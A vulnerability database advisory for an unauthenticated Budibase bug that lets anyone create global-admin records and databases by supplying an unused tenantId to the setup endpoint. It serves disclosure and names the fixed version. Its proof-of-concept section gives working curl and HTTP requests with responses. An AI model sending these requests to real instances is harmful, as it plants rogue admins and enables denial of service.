Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-122247
Published:November 10, 2026
Updated:November 11, 2026
Description ### Summary On a self-hosted, single-tenant Budibase instance ("multiTenancy:false"), the public bootstrap endpoint "POST /api/global/users/init" remains fully exploitable after the instance has been provisioned. Its "already initialised" guard ("checkAnyUserExists()") is evaluated inside a tenant-scoped database context derived from an attacker-controlled "tenantId" in the request body. Because the tenancy layer never constrains that "tenantId" to the only legitimate tenant ("default") on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database ("<tenantId>_global-db") and a global-admin user document ("admin.global = true", "builder.global = true") inside it - with no authentication and no CSRF token. This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts. ### Details Root cause chain (source, tag v3.44.0): 1. "packages/worker/src/api/index.ts:41" - "POST /api/global/users/init" is in "PUBLIC_ENDPOINTS", so "auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)" marks it "publicEndpoint" and the "no public access to worker" gate ("api/index.ts:159-165") lets it through without any session. It is also in "NO_TENANCY_ENDPOINTS" ("api/index.ts:83"), so the tenancy middleware does not pin the request to "default" - the tenant is taken verbatim from the request body - and in "NO_CSRF_ENDPOINTS". 2. "packages/worker/src/middleware/cloudRestricted.ts:10,25" - the "cloudRestricted" guard only enforces the internal API key when "!env.SELF_HOSTED && !env.DISABLE_ACCOUNT_PORTAL". On a self-hosted instance ("SELF_HOSTED=true") it is a no-op ("return next()"), so "cloudRestrictedRoutes" provides no protection here. 3. "packages/worker/src/api/routes/global/users.ts:69-79" - "cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser)". 4. "packages/worker/src/api/controllers/global/users.ts:232" - the handler runs "await tenancy.doInTenant(tenantId, …)" using the attacker-supplied "tenantId". 5. "packages/worker/src/api/controllers/global/users.ts:238" - the only guard, "const userExists = await checkAnyUserExists()", throws 403 only if a user exists in the current tenant context. 6. "packages/worker/src/utilities/users.ts:3-15" - "checkAnyUserExists()" calls "tenancy.getGlobalDB()", which resolves to "<tenantId>_global-db". For any unused "tenantId" this DB is empty → the guard passes → "userSdk.db.createAdminUser(email, tenantId, …)" ("users.ts:247") creates a full global admin. The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant "default" exists; init is one-time") is never enforced against the request-supplied "tenantId", so the guard is evaluated against a namespace the attacker chooses. Configuration confirmed via "GET /api/system/environment" → "{"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}". ### PoC Target "http://127.0.0.1:3014" (Budibase "v3.44.0-cloud.2"). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted. --- #### Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant ("default") "bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}' " Burp - Request "http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 82 {"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"} " Burp - Response "http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"You cannot initialise once an global user has been created.","status":403} " --- #### Step 2 - PAYLOAD: supply any unused "tenantId" → the guard is bypassed and a global admin is created, fully unauthenticated "bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}' " Burp - Request "http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 78 {"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"} " Burp - Response "http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"} " The single differential - "tenantId:"default"" → 403, "tenantId:"f7poc"" → 200 with a persisted "us_…" id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses. --- #### Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard "bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}' " Burp - Response "http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"You cannot initialise once an global user has been created.","status":403} " Each unique "tenantId" is a fresh write primitive - an attacker loops "tenantId=a0001,a0002,…" to create unbounded databases + admin docs (DoS). --- #### Step 4 & 5 - datastore side-effect: a new "<tenant>_global-db" and a real global-admin document Read directly from CouchDB inside the container ("$COUCH_DB_URL" = "http://admin:…@127.0.0.1:5984"): "GET /_all_dbs => [ "app_cc322a9cd27a492eb934f43b146c6e81", "app_dev_cc322a9cd27a492eb934f43b146c6e81", "f7poc_global-db", <-- created by the unauthenticated init call (tenantId=f7poc) "global-db" <-- legitimate default-tenant global DB ] rogue DB 'f7poc_global-db' present: True" The document created in "f7poc_global-db" is a full global admin: "json { "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c", "email": "pwn-f7poc@evil.test", "admin": { "global": true }, "builder": { "global": true }, "tenantId": "default", "roles": {} } " --- #### Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off "bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}' " Burp - Response "http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 {"message":"Invalid credentials","status":403} " With "multiTenancy:false" the login flow forces the "default" tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration). ### Impact Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation. Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - defeat the first-run setup lock that is supposed to be permanently closed after provisioning; - create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - create an unbounded number of CouchDB databases ("<rand>_global-db") and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the "_dbs" metadata shard).
Affected Packages
https://github.com/Budibase/budibase.git (GITHUB):
Affected version(s) >=v0.9.116-alpha.0 <v3.50.0 || >=v1.0.0 <v3.50.0 || >=v2.0.0 <v3.50.0 || >=2.8.15 <v3.50.0 || >=3.0.0 <v3.50.0 || >=v3.42.0 <v3.50.0
Fix Suggestion:
Update to version v3.50.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.8
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
LOW
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
8.2
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
LOW
Availability
HIGH
Weakness Type (CWE)
Improper Access Control
Incorrect Authorization
Allocation of Resources Without Limits or Throttling
Missing Authentication for Critical Functionality